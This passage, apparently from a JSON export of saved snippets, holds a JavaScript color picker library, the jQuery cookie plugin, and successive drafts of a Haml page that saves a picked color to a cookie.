\"#DAA520\",\r\n\t\tgray : \"#808080\",\r\n\t\tgreen : \"#008000\",\r\n\t\tgreenyellow : \"#ADFF2F\",\r\n\t\thoneydew : \"#F0FFF0\",\r\n\t\thotpink : \"#FF69B4\",\r\n\t\tindianred : \"#CD5C5C\",\r\n\t\tindigo : \"#4B0082\",\r\n\t\tivory : \"#FFFFF0\",\r\n\t\tkhaki : \"#F0E68C\",\r\n\t\tlavender : \"#E6E6FA\",\r\n\t\tlavenderblush : \"#FFF0F5\",\r\n\t\tlawngreen : \"#7CFC00\",\r\n\t\tlemonchiffon : \"#FFFACD\",\r\n\t\tlightblue : \"#ADD8E6\",\r\n\t\tlightcoral : \"#F08080\",\r\n\t\tlightcyan : \"#E0FFFF\",\r\n\t\tlightgoldenrodyellow : \"#FAFAD2\",\r\n\t\tlightgreen : \"#90EE90\",\r\n\t\tlightgrey : \"#D3D3D3\",\r\n\t\tlightpink : \"#FFB6C1\",\r\n\t\tlightsalmon : \"#FFA07A\",\r\n\t\tlightseagreen : \"#20B2AA\",\r\n\t\tlightskyblue : \"#87CEFA\",\r\n\t\tlightslategray : \"#778899\",\r\n\t\tlightsteelblue : \"#B0C4DE\",\r\n\t\tlightyellow : \"#FFFFE0\",\r\n\t\tlime : \"#00FF00\",\r\n\t\tlimegreen : \"#32CD32\",\r\n\t\tlinen : \"#FAF0E6\",\r\n\t\tmagenta : \"#FF00FF\",\r\n\t\tmaroon : \"#800000\",\r\n\t\tmediumaquamarine : \"#66CDAA\",\r\n\t\tmediumblue : \"#0000CD\",\r\n\t\tmediumorchid : \"#BA55D3\",\r\n\t\tmediumpurple : \"#9370DB\",\r\n\t\tmediumseagreen : \"#3CB371\",\r\n\t\tmediumslateblue : \"#7B68EE\",\r\n\t\tmediumspringgreen : \"#00FA9A\",\r\n\t\tmediumturquoise : \"#48D1CC\",\r\n\t\tmediumvioletred : \"#C71585\",\r\n\t\tmidnightblue : \"#191970\",\r\n\t\tmintcream : \"#F5FFFA\",\r\n\t\tmistyrose : \"#FFE4E1\",\r\n\t\tmoccasin : \"#FFE4B5\",\r\n\t\tnavajowhite : \"#FFDEAD\",\r\n\t\tnavy : \"#000080\",\r\n\t\toldlace : \"#FDF5E6\",\r\n\t\tolive : \"#808000\",\r\n\t\tolivedrab : \"#6B8E23\",\r\n\t\torange : \"#FFA500\",\r\n\t\torangered : \"#FF4500\",\r\n\t\torchid : \"#DA70D6\",\r\n\t\tpalegoldenrod : \"#EEE8AA\",\r\n\t\tpalegreen : \"#98FB98\",\r\n\t\tpaleturquoise : \"#AFEEEE\",\r\n\t\tpalevioletred : \"#DB7093\",\r\n\t\tpapayawhip : \"#FFEFD5\",\r\n\t\tpeachpuff : \"#FFDAB9\",\r\n\t\tperu : \"#CD853F\",\r\n\t\tpink : \"#FFC0CB\",\r\n\t\tplum : \"#DDA0DD\",\r\n\t\tpowderblue : \"#B0E0E6\",\r\n\t\tpurple : \"#800080\",\r\n\t\tred : \"#FF0000\",\r\n\t\trichblue : \"#0CB0E0\",\r\n\t\trosybrown : \"#BC8F8F\",\r\n\t\troyalblue : \"#4169E1\",\r\n\t\tsaddlebrown : \"#8B4513\",\r\n\t\tsalmon : \"#FA8072\",\r\n\t\tsandybrown : \"#F4A460\",\r\n\t\tseagreen : \"#2E8B57\",\r\n\t\tseashell : \"#FFF5EE\",\r\n\t\tsienna : \"#A0522D\",\r\n\t\tsilver : \"#C0C0C0\",\r\n\t\tskyblue : \"#87CEEB\",\r\n\t\tslateblue : \"#6A5ACD\",\r\n\t\tslategray : \"#708090\",\r\n\t\tsnow : \"#FFFAFA\",\r\n\t\tspringgreen : \"#00FF7F\",\r\n\t\tsteelblue : \"#4682B4\",\r\n\t\ttan : \"#D2B48C\",\r\n\t\tteal : \"#008080\",\r\n\t\tthistle : \"#D8BFD8\",\r\n\t\ttomato : \"#FF6347\",\r\n\t\tturquoise : \"#40E0D0\",\r\n\t\tviolet : \"#EE82EE\",\r\n\t\twheat : \"#F5DEB3\",\r\n\t\twhite : \"#FFFFFF\",\r\n\t\twhitesmoke : \"#F5F5F5\",\r\n\t\tyellow : \"#FFFF00\",\r\n\t\tyellowgreen : \"#9ACD32\"\r\n\t};\r\n\tif( /^[a-zA-Z]+$/.test(color) \u0026\u0026 color_name_map[color] ) {\r\n\t\tcolor = color_name_map[color];\r\n\t}\r\n\tvar rgb = {};\r\n\tvar m;\r\n\tif( m = color.match( /rgb\\(\\s*(\\d+)\\,\\s*(\\d+)\\,\\s*(\\d+)\\s*\\)/ ) ) {\r\n\t\trgb.r = parseInt(m[1], 10);\r\n\t\trgb.g = parseInt(m[2], 10);\r\n\t\trgb.b = parseInt(m[3], 10);\r\n\t\trgb.a = 1;\r\n\t} else if( m = color.match( /rgba\\(\\s*(\\d+)\\,\\s*(\\d+)\\,\\s*(\\d+),\\s*(\\d+)\\s*\\)/ ) ) {\r\n\t\trgb.r = parseInt(m[1], 10);\r\n\t\trgb.g = parseInt(m[2], 10);\r\n\t\trgb.b = parseInt(m[3], 10);\r\n\t\trgb.a = parseInt(m[4], 10);\r\n\t} else if( m = color.match( /\\#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})$/ ) ) {\r\n\t\trgb.r = parseInt(m[1], 16);\r\n\t\trgb.g = parseInt(m[2], 16);\r\n\t\trgb.b = parseInt(m[3], 16);\r\n\t\trgb.a = 1;\r\n\t} else if( m = color.match( /\\#([a-fA-F0-9])([a-fA-F0-9])([a-fA-F0-9])$/ ) ) {\r\n\t\trgb.r = parseInt(m[1]+m[1], 16);\r\n\t\trgb.g = parseInt(m[2]+m[2], 16);\r\n\t\trgb.b = parseInt(m[3]+m[3], 16);\r\n\t\trgb.a = 1;\r\n\t} else if( color == \"transparent\" ) {\r\n\t\trgb.r = 255;\r\n\t\trgb.g = 255;\r\n\t\trgb.b = 255;\r\n\t\trgb.a = 1;\r\n\t} else {\r\n\t\treturn null;\r\n\t}\r\n\t/* for Safari */\r\n\tif( rgb.r == 0 \u0026\u0026 rgb.g == 0 \u0026\u0026 rgb.b == 0 \u0026\u0026 rgb.a == 0 ) {\r\n\t\trgb.r = 255;\r\n\t\trgb.g = 255;\r\n\t\trgb.b = 255;\r\n\t\trgb.a = 1;\r\n\t}\r\n\t/* */\r\n\treturn rgb;\r\n};\r\n\r\n\r\n/* -------------------------------------------------------------------\r\n* for static drawing by class attributes\r\n* ----------------------------------------------------------------- */\r\n\r\n_add_event_listener(window, \"load\", _init);\r\n\r\nvar cpicks = [];\r\n\r\nfunction _init() {\r\n\tvar elms = _get_elements_by_class_name(document, \"html5jp-cpick\");\r\n\tvar n = 0;\r\n\tfor( var i=0; i\u003celms.length; i++ ) {\r\n\t\tvar elm = elms.item(i);\r\n\t\t// parse parameters in the class attribute\r\n\t\tvar p = {};\r\n\t\tvar m = elm.className.match(/\\[([^\\]]+)\\]/);\r\n\t\tif(m \u0026\u0026 m[1]) {\r\n\t\t\tvar parts = m[1].split(\";\");\r\n\t\t\tfor( var j=0; j\u003cparts.length; j++ ) {\r\n\t\t\t\tvar pair = parts[j];\r\n\t\t\t\tif(pair == \"\") { continue; }\r\n\t\t\t\tvar m2 = pair.match(/^([a-zA-Z0-9\\-\\_]+)\\:([a-zA-Z0-9\\-\\_\\#\\(\\)\\,\\.]+)$/);\r\n\t\t\t\tif( ! m2 ) { continue; }\r\n\t\t\t\tvar k = m2[1];\r\n\t\t\t\tvar v = m2[2];\r\n\t\t\t\tp[k] = v;\r\n\t\t\t}\r\n\t\t}\r\n\t\t// determin the target element\r\n\t\tvar target = elm;\r\n\t\tif( typeof(p.target) != \"undefined\" ) {\r\n\t\t\tvar el = document.getElementById(p.target);\r\n\t\t\tif( ! el ) { return; }\r\n\t\t\ttarget = el;\r\n\t\t}\r\n\t\t// prepare a color cpicker\r\n\t\t_prepare_cpick(p, elm, target);\r\n\t\t//\r\n\t\tn ++;\r\n\t}\r\n\tif( n \u003e 0 \u0026\u0026 document.uniqueID ) {\r\n\t\tif (!document.namespaces[\"v\"]) {\r\n\t\t\tdocument.namespaces.add(\"v\", \"urn:schemas-microsoft-com:vml\");\r\n\t\t\tvar style_sheet = document.createStyleSheet();\r\n\t\t\tstyle_sheet.cssText = \"v\\\\:rect, v\\\\:fill { behavior: url(#default#VML); display:inline-block; }\";\r\n\t\t}\r\n\t}\r\n}\r\n\r\nfunction _prepare_cpick(p, trigger, target) {\r\n\t// color picker object\r\n\tvar o = new cpick(trigger, target, p);\r\n\tif( ! o ) { return; }\r\n\tcpicks.push(o);\r\n\to.prepare();\r\n\t// set event listeners\r\n\t_add_event_listener(trigger, \"click\", function(){\r\n\t\tfor( var i=0; i\u003ccpicks.length; i++ ) {\r\n\t\t\tif(cpicks[i] == o) { continue; }\r\n\t\t\tcpicks[i].hide();\r\n\t\t}\r\n\t\to.flip();\r\n\t});\r\n}\r\n\r\nfunction _add_event_listener(elm, type, func) {\r\n\tif(! elm) { return false; }\r\n\tif(elm.addEventListener) {\r\n\t\telm.addEventListener(type, func, false);\r\n\t} else if(elm.attachEvent) {\r\n\t\telm.attachEvent('on'+type, func);\r\n\t\t/*\r\n\t\telm['e'+type+func] = func;\r\n\t\telm[type+func] = function(){elm['e'+type+func]( window.event );}\r\n\t\telm.attachEvent( 'on'+type, elm[type+func] );\r\n\t\t*/\r\n\t} else {\r\n\t\treturn false;\r\n\t}\r\n\treturn true;\r\n}\r\n\r\nfunction _get_elements_by_class_name(element, classNames) {\r\n\tif(element.getElementsByClassName) {\r\n\t\treturn element.getElementsByClassName(classNames);\r\n\t}\r\n\t/* split a string on spaces */\r\n\tvar split_a_string_on_spaces = function(string) {\r\n\t\tstring = string.replace(/^[\\t\\s]+/, \"\");\r\n\t\tstring = string.replace(/[\\t\\s]+$/, \"\");\r\n\t\tvar tokens = string.split(/[\\t\\s]+/);\r\n\t\treturn tokens;\r\n\t};\r\n\tvar tokens = split_a_string_on_spaces(classNames);\r\n\tvar tn = tokens.length;\r\n\tvar nodes = element.all ? element.all : element.getElementsByTagName(\"*\");\r\n\tvar n = nodes.length;\r\n\tvar array = new Array();\r\n\tif( tn \u003e 0 ) {\r\n\t\tif( document.evaluate ) {\r\n\t\t\tvar contains = new Array();\r\n\t\t\tfor(var i=0; i\u003ctn; i++) {\r\n\t\t\t\tcontains.push('contains(concat(\" \",@class,\" \"), \" '+ tokens[i] + '\")');\r\n\t\t\t}\r\n\t\t\tvar xpathExpression = \"/descendant::*[\" + contains.join(\" and \") + \"]\";\r\n\t\t\tvar iterator = document.evaluate(xpathExpression, element, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);\r\n\t\t\tvar inum = iterator.snapshotLength;\r\n\t\t\tfor( var i=0; i\u003cinum; i++ ) {\r\n\t\t\t\tvar elm = iterator.snapshotItem(i);\r\n\t\t\t\tif( elm != element ) {\r\n\t\t\t\t\tarray.push(iterator.snapshotItem(i));\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\tfor(var i=0; i\u003cn; i++) {\r\n\t\t\t\tvar elm = nodes.item(i);\r\n\t\t\t\tif( elm.className == \"\" ) { continue; }\r\n\t\t\t\tvar class_list = split_a_string_on_spaces(elm.className);\r\n\t\t\t\tvar class_name = class_list.join(\" \");\r\n\t\t\t\tvar f = true;\r\n\t\t\t\tfor(var j=0; j\u003ctokens.length; j++) {\r\n\t\t\t\t\tvar re = new RegExp('(^|\\\\s)' + tokens[j] + '(\\\\s|$)')\r\n\t\t\t\t\tif( ! re.test(class_name) ) {\r\n\t\t\t\t\t\tf = false;\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\tif(f == true) {\r\n\t\t\t\t\tarray.push(elm);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t/* add item(index) method to the array as if it behaves such as a NodeList interface. */\r\n\tarray.item = function(index) {\r\n\t\tif(array[index]) {\r\n\t\t\treturn array[index];\r\n\t\t} else {\r\n\t\t\treturn null;\r\n\t\t}\r\n\t};\r\n\t//\r\n\treturn array;\r\n}\r\n\r\nfunction prevent_default(evt) {\r\n\tif(evt \u0026\u0026 evt.preventDefault) {\r\n\t\tevt.preventDefault();\r\n\t\tevt.currentTarget['on'+evt.type] = function() {return false;};\r\n\t} else if(window.event) {\r\n\t\twindow.event.returnValue = false;\r\n\t}\r\n}\r\n\r\nfunction stop_propagation(evt) {\r\n\tif(evt \u0026\u0026 evt.stopPropagation) {\r\n\t\tevt.stopPropagation();\r\n\t} else if(window.event) {\r\n\t\twindow.event.cancelBubble = true;\r\n\t}\r\n}\r\n\r\n})();\r\n","created_at":"2011-06-02T02:39:35.000Z","updated_at":"2011-06-02T02:39:35.000Z"},{"id":1657,"name":"color_picker","body":"haml カラーピッカー\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n\u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n","created_at":"2011-06-02T02:40:42.000Z","updated_at":"2011-06-02T02:40:42.000Z"},{"id":1658,"name":"js/jquery.cookie.js","body":"/**\r\n * Cookie plugin\r\n *\r\n * Copyright (c) 2006 Klaus Hartl (stilbuero.de)\r\n * Dual licensed under the MIT and GPL licenses:\r\n * http://www.opensource.org/licenses/mit-license.php\r\n * http://www.gnu.org/licenses/gpl.html\r\n *\r\n */\r\n\r\n/**\r\n * Create a cookie with the given name and value and other optional parameters.\r\n *\r\n * @example $.cookie('the_cookie', 'the_value');\r\n * @desc Set the value of a cookie.\r\n * @example $.cookie('the_cookie', 'the_value', { expires: 7, path: '/', domain: 'jquery.com', secure: true });\r\n * @desc Create a cookie with all available options.\r\n * @example $.cookie('the_cookie', 'the_value');\r\n * @desc Create a session cookie.\r\n * @example $.cookie('the_cookie', null);\r\n * @desc Delete a cookie by passing null as value. Keep in mind that you have to use the same path and domain\r\n * used when the cookie was set.\r\n *\r\n * @param String name The name of the cookie.\r\n * @param String value The value of the cookie.\r\n * @param Object options An object literal containing key/value pairs to provide optional cookie attributes.\r\n * @option Number|Date expires Either an integer specifying the expiration date from now on in days or a Date object.\r\n * If a negative value is specified (e.g. a date in the past), the cookie will be deleted.\r\n * If set to null or omitted, the cookie will be a session cookie and will not be retained\r\n * when the the browser exits.\r\n * @option String path The value of the path atribute of the cookie (default: path of page that created the cookie).\r\n * @option String domain The value of the domain attribute of the cookie (default: domain of page that created the cookie).\r\n * @option Boolean secure If true, the secure attribute of the cookie will be set and the cookie transmission will\r\n * require a secure protocol (like HTTPS).\r\n * @type undefined\r\n *\r\n * @name $.cookie\r\n * @cat Plugins/Cookie\r\n * @author Klaus Hartl/klaus.hartl@stilbuero.de\r\n */\r\n\r\n/**\r\n * Get the value of a cookie with the given name.\r\n *\r\n * @example $.cookie('the_cookie');\r\n * @desc Get the value of a cookie.\r\n *\r\n * @param String name The name of the cookie.\r\n * @return The value of the cookie.\r\n * @type String\r\n *\r\n * @name $.cookie\r\n * @cat Plugins/Cookie\r\n * @author Klaus Hartl/klaus.hartl@stilbuero.de\r\n */\r\njQuery.cookie = function(name, value, options) {\r\n if (typeof value != 'undefined') { // name and value given, set cookie\r\n options = options || {};\r\n if (value === null) {\r\n value = '';\r\n options.expires = -1;\r\n }\r\n var expires = '';\r\n if (options.expires \u0026\u0026 (typeof options.expires == 'number' || options.expires.toUTCString)) {\r\n var date;\r\n if (typeof options.expires == 'number') {\r\n date = new Date();\r\n date.setTime(date.getTime() + (options.expires * 24 * 60 * 60 * 1000));\r\n } else {\r\n date = options.expires;\r\n }\r\n expires = '; expires=' + date.toUTCString(); // use expires attribute, max-age is not supported by IE\r\n }\r\n // CAUTION: Needed to parenthesize options.path and options.domain\r\n // in the following expressions, otherwise they evaluate to undefined\r\n // in the packed version for some reason...\r\n var path = options.path ? '; path=' + (options.path) : '';\r\n var domain = options.domain ? '; domain=' + (options.domain) : '';\r\n var secure = options.secure ? '; secure' : '';\r\n document.cookie = [name, '=', encodeURIComponent(value), expires, path, domain, secure].join('');\r\n } else { // only name given, get cookie\r\n var cookieValue = null;\r\n if (document.cookie \u0026\u0026 document.cookie != '') {\r\n var cookies = document.cookie.split(';');\r\n for (var i = 0; i \u003c cookies.length; i++) {\r\n var cookie = jQuery.trim(cookies[i]);\r\n // Does this cookie string begin with the name we want?\r\n if (cookie.substring(0, name.length + 1) == (name + '=')) {\r\n cookieValue = decodeURIComponent(cookie.substring(name.length + 1));\r\n break;\r\n }\r\n }\r\n }\r\n return cookieValue;\r\n }\r\n};","created_at":"2011-06-02T02:42:08.000Z","updated_at":"2011-06-02T02:42:08.000Z"},{"id":1659,"name":"color_picker","body":"haml カラーピッカー\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/jquery.cookie.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n%p\r\n %label\r\n color:\r\n \u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n %label\r\n name:\r\n %input#name\r\n%button#save Save \r\n","created_at":"2011-06-02T02:43:47.000Z","updated_at":"2011-06-02T02:43:47.000Z"},{"id":1660,"name":"js/jquery.cookie.js","body":"raw\r\n/**\r\n * Cookie plugin\r\n *\r\n * Copyright (c) 2006 Klaus Hartl (stilbuero.de)\r\n * Dual licensed under the MIT and GPL licenses:\r\n * http://www.opensource.org/licenses/mit-license.php\r\n * http://www.gnu.org/licenses/gpl.html\r\n *\r\n */\r\n\r\n/**\r\n * Create a cookie with the given name and value and other optional parameters.\r\n *\r\n * @example $.cookie('the_cookie', 'the_value');\r\n * @desc Set the value of a cookie.\r\n * @example $.cookie('the_cookie', 'the_value', { expires: 7, path: '/', domain: 'jquery.com', secure: true });\r\n * @desc Create a cookie with all available options.\r\n * @example $.cookie('the_cookie', 'the_value');\r\n * @desc Create a session cookie.\r\n * @example $.cookie('the_cookie', null);\r\n * @desc Delete a cookie by passing null as value. Keep in mind that you have to use the same path and domain\r\n * used when the cookie was set.\r\n *\r\n * @param String name The name of the cookie.\r\n * @param String value The value of the cookie.\r\n * @param Object options An object literal containing key/value pairs to provide optional cookie attributes.\r\n * @option Number|Date expires Either an integer specifying the expiration date from now on in days or a Date object.\r\n * If a negative value is specified (e.g. a date in the past), the cookie will be deleted.\r\n * If set to null or omitted, the cookie will be a session cookie and will not be retained\r\n * when the the browser exits.\r\n * @option String path The value of the path atribute of the cookie (default: path of page that created the cookie).\r\n * @option String domain The value of the domain attribute of the cookie (default: domain of page that created the cookie).\r\n * @option Boolean secure If true, the secure attribute of the cookie will be set and the cookie transmission will\r\n * require a secure protocol (like HTTPS).\r\n * @type undefined\r\n *\r\n * @name $.cookie\r\n * @cat Plugins/Cookie\r\n * @author Klaus Hartl/klaus.hartl@stilbuero.de\r\n */\r\n\r\n/**\r\n * Get the value of a cookie with the given name.\r\n *\r\n * @example $.cookie('the_cookie');\r\n * @desc Get the value of a cookie.\r\n *\r\n * @param String name The name of the cookie.\r\n * @return The value of the cookie.\r\n * @type String\r\n *\r\n * @name $.cookie\r\n * @cat Plugins/Cookie\r\n * @author Klaus Hartl/klaus.hartl@stilbuero.de\r\n */\r\njQuery.cookie = function(name, value, options) {\r\n if (typeof value != 'undefined') { // name and value given, set cookie\r\n options = options || {};\r\n if (value === null) {\r\n value = '';\r\n options.expires = -1;\r\n }\r\n var expires = '';\r\n if (options.expires \u0026\u0026 (typeof options.expires == 'number' || options.expires.toUTCString)) {\r\n var date;\r\n if (typeof options.expires == 'number') {\r\n date = new Date();\r\n date.setTime(date.getTime() + (options.expires * 24 * 60 * 60 * 1000));\r\n } else {\r\n date = options.expires;\r\n }\r\n expires = '; expires=' + date.toUTCString(); // use expires attribute, max-age is not supported by IE\r\n }\r\n // CAUTION: Needed to parenthesize options.path and options.domain\r\n // in the following expressions, otherwise they evaluate to undefined\r\n // in the packed version for some reason...\r\n var path = options.path ? '; path=' + (options.path) : '';\r\n var domain = options.domain ? '; domain=' + (options.domain) : '';\r\n var secure = options.secure ? '; secure' : '';\r\n document.cookie = [name, '=', encodeURIComponent(value), expires, path, domain, secure].join('');\r\n } else { // only name given, get cookie\r\n var cookieValue = null;\r\n if (document.cookie \u0026\u0026 document.cookie != '') {\r\n var cookies = document.cookie.split(';');\r\n for (var i = 0; i \u003c cookies.length; i++) {\r\n var cookie = jQuery.trim(cookies[i]);\r\n // Does this cookie string begin with the name we want?\r\n if (cookie.substring(0, name.length + 1) == (name + '=')) {\r\n cookieValue = decodeURIComponent(cookie.substring(name.length + 1));\r\n break;\r\n }\r\n }\r\n }\r\n return cookieValue;\r\n }\r\n};","created_at":"2011-06-02T02:46:11.000Z","updated_at":"2011-06-02T02:46:11.000Z"},{"id":1661,"name":"color_picker","body":"haml カラーピッカー\r\n-# vim:set ft=haml :\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/jquery.cookie.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n#all\r\n %p\r\n %label\r\n color:\r\n \u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n %label\r\n name:\r\n %input#name\r\n %p \r\n %button#save Save \r\n %p\r\n %h3 list\r\n #before\r\n:javascript\r\n var list = $.cookie('list')\r\n console.log(list)\r\n\r\n","created_at":"2011-06-02T02:46:57.000Z","updated_at":"2011-06-02T02:46:57.000Z"},{"id":1662,"name":"color_picker","body":"haml カラーピッカー\r\n-# vim:set ft=haml :\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/jquery.cookie.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n#all\r\n %p\r\n %label\r\n color:\r\n \u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n %label\r\n name:\r\n %input#name\r\n %p \r\n %button#save Save \r\n %p\r\n %h3 list\r\n #before\r\n:javascript\r\n var list = $.cookie('list')\r\n if(list == null){\r\n list = []\r\n } \r\n console.log(list)\r\n\r\n","created_at":"2011-06-02T02:47:47.000Z","updated_at":"2011-06-02T02:47:47.000Z"},{"id":1663,"name":"color_picker","body":"haml カラーピッカー\r\n-# vim:set ft=haml :\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/jquery.cookie.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n#all\r\n %p\r\n %label\r\n color:\r\n \u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n %label\r\n name:\r\n %input#name\r\n %p \r\n %button#save Save \r\n %p\r\n %h3 list\r\n #before\r\n:javascript\r\n var list = $.cookie('list')\r\n if(list == null){\r\n list = []\r\n } \r\n $(\"#save\").click(function(){\r\n list[name] = $(\"#t1\").val()\r\n $.cookie('list', 'list', { expires: 30 });\r\n })\r\n\r\n","created_at":"2011-06-02T02:49:17.000Z","updated_at":"2011-06-02T02:49:17.000Z"},{"id":1664,"name":"color_picker","body":"haml カラーピッカー\r\n-# vim:set ft=haml :\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/jquery.cookie.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n#all\r\n %p\r\n %label\r\n color:\r\n \u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n %label\r\n name:\r\n %input#name\r\n %p \r\n %button#save Save \r\n %p\r\n %h3 list\r\n #before\r\n:javascript\r\n var list = $.cookie('list')\r\n if(list == null){\r\n list = []\r\n }\r\n console.log(list)\r\n $(\"#save\").click(function(){\r\n list[name] = $(\"#t1\").val()\r\n $.cookie('list', 'list', { expires: 30 });\r\n })\r\n\r\n","created_at":"2011-06-02T02:49:44.000Z","updated_at":"2011-06-02T02:49:44.000Z"},{"id":1665,"name":"color_picker","body":"haml カラーピッカー\r\n-# vim:set ft=haml :\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/jquery.cookie.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/js/cpick.js\"}\r\n#all\r\n %p\r\n %label\r\n color:\r\n \u003cinput type=\"text\" name=\"c1\" value=\"#e4521e\" size=\"12\" id=\"t1\" class=\"html5jp-cpick\" /\u003e\r\n %label\r\n name:\r\n %input#name\r\n %p \r\n %button#save Save \r\n %p\r\n %h3 list\r\n #before\r\n:javascript\r\n var list = $.cookie('list')\r\n if(list == null){\r\n list = []\r\n }\r\n console.log(list)\r\n $(\"#save\").click(function(){\r\n list[name] = $(\"#t1\").val()\r\n $.cookie('list', list, { expires: 30 });\r\n })","created_at":"2011-06-02T02:50:07.000Z","updated_at":"2011-06-02T02:50:07.000Z"},{"id":1666,"name":"color_picker","body":"haml カラーピッカー\r\n-# vim:set ft=haml :\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e 